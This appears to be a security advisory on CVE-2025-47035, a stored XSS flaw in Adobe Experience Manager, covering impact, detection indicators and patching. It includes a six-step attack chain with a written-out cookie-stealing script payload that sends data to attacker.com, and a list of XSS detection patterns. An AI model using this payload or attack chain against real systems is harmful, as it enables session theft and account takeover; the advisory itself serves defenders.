CVE-2025-47035: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47035 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can submit malicious JavaScript payloads into vulnerable form fields within AEM; the application fails to properly sanitize or encode this input before storing and subsequently rendering it. When a victim user browses to the page containing the compromised field, the injected script executes in their browser context. Exploitation requires user interaction (a victim visiting the affected page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM. This can lead to theft of session tokens or sensitive user data, unauthorized actions performed on behalf of the victim, manipulation of page content, and potential bypass of access controls. While availability is not directly impacted, the confidentiality and integrity of user data and application state are at risk, particularly for administrative users who may be targeted (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly, Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premises) or Cloud Service versions prior to 2025.5.0 using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in forms, content fragments, or editable components).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Trigger victim execution: Lure a target user (ideally with elevated privileges such as an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect exfiltrated session tokens, credentials, or other sensitive data from the attacker-controlled server, or use the victim's session to perform unauthorized actions within AEM (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded JavaScript patterns (e.g., <script>, javascript:, onerror=, onload=) in request bodies; repeated access to specific AEM pages by unusual or external IP addresses.
• File System / Content Repository: Unexpected JavaScript content stored in AEM JCR (Java Content Repository) nodes, particularly within text or richtext properties of content pages or form components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting specific AEM pages; DNS queries to attacker-controlled domains originating from client machines browsing AEM content.
• Process/Application: AEM error logs showing sanitization or rendering exceptions related to unexpected HTML/script content in stored fields (Feedly).

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. Organizations unable to patch immediately should implement strict input validation and output encoding for all user-submitted content, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, limit access to AEM authoring interfaces to trusted users only, and review existing stored content for signs of injected scripts (Adobe Advisory).

The vulnerability was noted by CIS (Center for Internet Security) in a multi-vulnerability Adobe advisory and tracked by Tenable in their plugin pipeline. No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability database entries (CIS Advisory, Tenable).